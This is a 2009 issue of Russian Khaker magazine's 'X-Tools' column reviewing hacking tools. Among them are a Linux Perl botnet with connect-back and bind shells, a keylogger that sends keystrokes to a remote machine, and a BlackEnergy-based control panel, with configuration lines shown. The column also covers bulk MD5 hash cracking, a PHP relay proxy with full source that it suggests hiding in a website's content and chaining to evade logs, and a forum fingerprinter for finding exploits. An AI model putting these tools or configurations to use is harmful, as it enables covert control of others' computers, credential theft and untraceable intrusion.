Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #126, ИЮНЬ 2009 г.

X-Tools

Леонид «R0id» Стройков (r0id@mail.ru)

Xbar v.1.2.0

  • ОС: *nix/win
  • Автор: v01d

Не знаю, какой из браузеров ты юзаешь, но я в повседневной работе привык доверять Firefox. Одна из причин – огромное количество разнообразных плагинов на все случаи жизни :). Именно поэтому хочу представить тебе незаменимый плагин Xbar v.1.2.0 от V01d'a, созданный для поиска MD5-хэшей, определения PR/ТИЦ сайтов и обладающий функцией ReverseIP.
Для начала инсталлируем дополнение к Firefox:

  1. Сливаем плагин с нашего DVD
  2. Запускаем Firefox
  3. Открываем файл плагина (File -> open File -> xBar.xpi)
  4. Ждем завершения установки
  5. Ребутим браузер

Теперь при каждом запуске браузера в правом нижнем углу будет дополнительная менюшка, состоящая из двух пунктов:

  1. SEO
  2. MD5

Начнем по порядку. Кликаем по батону «SEO» и снимаем галочку с опции «Hide» - появится поле для ввода названия домена, по которому мы получим PR/ТИЦ, а также ReverseIP. Вбиваем домен и жмем «Enter». Через пару секунд перед нами – подробный отчет со всеми необходимыми данными. При дополнительном клике на значке «+» рядом с IP-адресом сервера активируется функция ReverseIP. Она позволяет просмотреть список сайтов, хостящихся на сервере. Но это еще не все, ибо есть возможность получить данные сразу по нескольким доменам. Для этого заходим в раздел опций плагина, на вкладке «General» снимаем галку с пункта «Disable - Search from file» и выбираем файл со списком доменов. После получения результатов можно отпарсить список доменов по данным PR/ТИЦ.

Теперь рассмотрим функцию поиска MD5-хэшей. C ней можно отправлять хэши на www.milw0rm.com и www.hashcracking.info, причем, количество хэшей не ограничено. Алгоритм твоих действий прост:

  1. В разделе опций плагина, на вкладке «General» сними галку с пункта «Disable - Search from file»
  2. Зайди на www.hashcracking.info и прими сертификат безопасности
  3. Выбери файлик с хэшами и жми батон
  4. Оцени результат в окне браузера

Пора подводить итоги функциональности. Плагин позволяет:

  • Получать PR/ТИЦ ресурса
  • Работать со списком доменов из файла
  • Сортировать список сайтов в соответствии с результатами по PR/ТИЦ
  • Производить ReverseIP
  • Отправлять MD5-хэш на анализ прямо из браузера
  • Отправлять на анализ сразу несколько MD5-хэшей из файла (очень удобно)
  • Парсить MD5-хэши при загрузке из файла
  • Искать MD5-хэши одновременно по двум ресурсам - www.milw0rm.com и www.hashcracking.info

Короче говоря, в срочном порядке ставим плагин и дружно благодарим V01d'a за очередной релиз!

Hybrid Remote Administration System

  • ОС: Linux
  • Автор: csrss

В прошлых выпусках Х-Тулз я неоднократно выкладывал различные системы удаленного администрирования под Винду. В этот раз я порадую тебя продуктом под совершенно другую платформу - Линух. Да-да, и на Linux'е можно поднять ботнет… Кхм, о чем это я? Как ты догадался, под загадочным определением «система удаленного администрирования» скрывается масса полезных софтин, помогающих управлять множеством своих (и не совсем своих, а порой и совсем не своих) компов. Сейчас я хочу представить именно такую тулзу – «Hybrid Remote Administration System» от csrss. Софт предназначен исключительно для использования на Linux-платформе и включает в себя:

  1. Бот - Perl
  2. Клиентская консоль - Perl::Gtk2
  3. HTTP-админка на базе админ-панели от BlackEnergy (PHP/MySQL)

Бот обладает неплохим функционалом:

  • Connect Back shell (not encrypted) - коннектбэк-шелл. Шифрование соединения отсутствует
  • Bind shell, port: 6666 (not encrypted) - бинд-шелл. Реализован в виде отдельной утилы, управляемой ботом; шифрование соединения отсутствует
  • Connect Back Encrypted keylogger – кейлоггер. Записывает нажатие клавиш, кодирует их алгоритмами rot47&RC4 и в режиме реального времени отсылает на удаленную машину. Обработка логов кейлоггера происходит при помощи клиентской консоли
  • Encrypted Remote Terminal Emulator (E.R.T.E) - аналог SSH, при помощи которого бот устанавливает соединение с удаленной машиной. Все данные кодируются (rot47&RC4), используется клиентская консоль.

Приступим к конфигурированию системы управления. Начнем, как водится, с бота. Открываем сорец бота и редактируем следующие строки:

my $homeserver = "http://localhost/public/getcmd.php"; # получение ботом команд
my $defaultSleepTime = 10; # таймаут, в случае отсутствия новых команд

В сорце консоли бота вносим изменения в параметры:

my $server_host = "127.0.0.1"; # хост, на котором находится бот (необходимо для E.R.T.E)
my $pass = "1"; # RC4 пасс (необходимо для E.R.T.E & Keylogger)
my $MAXLEN = 1024; #
my $LISTEN_PORT = 666; # порт, на который бот шлет данные
my $SEND_PORT = 555; # порт, который бот будет прослушивать

Модифицируем http-админку на базе админки от BlackEnergy:

$prot = 0; // используем логин или нет? 0 - FALSE, 1 - TRUE
$name='cfcd208495d565ef66e7dff9f98764da'; // md5, username, (0)
$pass='cfcd208495d565ef66e7dff9f98764da'; // md5, password (0)
$host = "localhost"; // MySQL-хост
$user = "root"; // MySQL user
$pass = ""; //MySQL user password
$db = "stats"; //название БД
$table = "bots"; //название таблички
var $timeout = 600; //время нахождения бота в БД, после истечения указанного времени бот автоматически удаляется, если не дал о себе знать

В админке ты можешь наблюдать следующие поля:

[E.R.T.E.] - команда
[L.Port] - Local Port - локальный порт, на который бот будет слать данные
[L.Host] - Local Host - наш IP-адрес
[Key] - RC4 пароль
[R.Port] - Remote Port - удаленный порт, который прослушивает бот

В общем, описывать продукт можно еще долго, но лучше все-таки поюзать самостоятельно. Только не забывай, что ты уже взрослый и за все свои действия ответственность несешь сам.

Pproxy

  • ОС: *nix/win
  • Автор: bons

Потребность в прокси/соксах возникает постоянно. Проблема в том, что найти стабильный и качественный сервис с каждым днем становится все сложнее. Порой прокси может понадобиться в самый неподходящий момент… так как же быть? Выход один - иметь под рукой собственный проксик, готовый в любую минуту обслужить тебя :). Причем, проще всего будет поднять не Bouncer или 3proxy, а Pproxy, о котором я тебе сейчас расскажу. Тулза представляет собой PHP-проксик, состоящий из двух частей - удаленной (pproxy.php) и локальной (plocal.pl). На локалхосте запускается перловая часть, прослушивающая порт, на который натравливается браузер, а сам PHP-прокси заливается на какой-нибудь сервер.
Использовать Pproxy довольно просто:

  1. Сначала заливаем pproxy.php на удаленный сервер, например, http://site.com/proxy/pproxy.php
  2. Затем запускаем локальный скрипт: perl plocal.pl -px http://site.com/proxy/pproxy.php
  3. После этого по дефолту открывается порт 8008, через который и следует пускать браузер

Сорец pproxy.php очень компактен и может быть запросто добавлен в тело контента сайта:

<?php
//$secret = 'pproxypass';

if(isset($_POST['query']) && isset($_POST['host']))
{
if(isset($secret) && ($_POST['secret'] != $secret))exit;
header('Content-type: application/octet-stream');
@set_time_limit(0);
$query = base64_decode(str_replace(" ", "+", $_POST['query']));
list($host, $port) = explode(':', base64_decode(str_replace(" ", "+", $_POST['host'])));
if(!$port)$port = 80;
$ip = gethostbyname($host);
if($fp = @fsockopen($ip, $port, $errno, $errstr, 20))
{
fwrite($fp, $query);
while(!feof($fp))
{
$answer = fread($fp, 1024);
echo $answer;
}
fclose($fp);
}
exit;
}
?>

И попробуем построить цепочку проксиков:

1. Заливаем pproxy.php на два разных удаленных сервера, например: http://site1.com/proxy/pproxy.php и http://site2.com/proxy/pproxy.php

2. Запускаем локальный скрипт со следующими параметрами:

perl plocal.pl -px http://site1.com/proxy/pproxy.php perl plocal.pl -px http://site2.com/proxy/pproxy.php -tpx http://localhost:8008 -bp 8009

3. Пускаем браузер на порт 8009

4. Схема цепочки такова: localhost -> site1.com -> site2.com -> target

Аналогичным образом можно составлять и более длинные цепочки. Однако не забывай про логи web-сервера. В них можно будет тебя отыскать.

Forum Detector

  • ОС: *nix/win
  • Автор: dx

Напоследок представлю тебе очередной релиз от dx - Forum Detector. Утила предназначена для определения типа и версии указанного форума, что особенно полезно при поиске сплойтов под различные форумные движки. На данный момент тулза поддерживает несколько самых известных форумов, среди которых - IPB, phpBB, vBulletin, MyBB последних версий.
Из возможностей скрипта следует отметить:

  • Определение типа форума (распознавание IPB, phpBB, vBulletin, MyBB)
  • Определение версии движка форума по разным критериям
  • Определение возможных уязвимостей движка форума и поиск подходящих для них сплойтов
  • Определение ТиЦ и PR сайта, на котором установлен форум
  • Наличие поддержки работы через прокси/socks5/прокси с авторизацией/socks5 с авторизацией

Конечно, утила сплойт за тебя не запустит и веб-шелл на сервер не зальет. Но если ты решил протестировать парочку-другую интересных форумов - тулза в этом поможет.

Содержание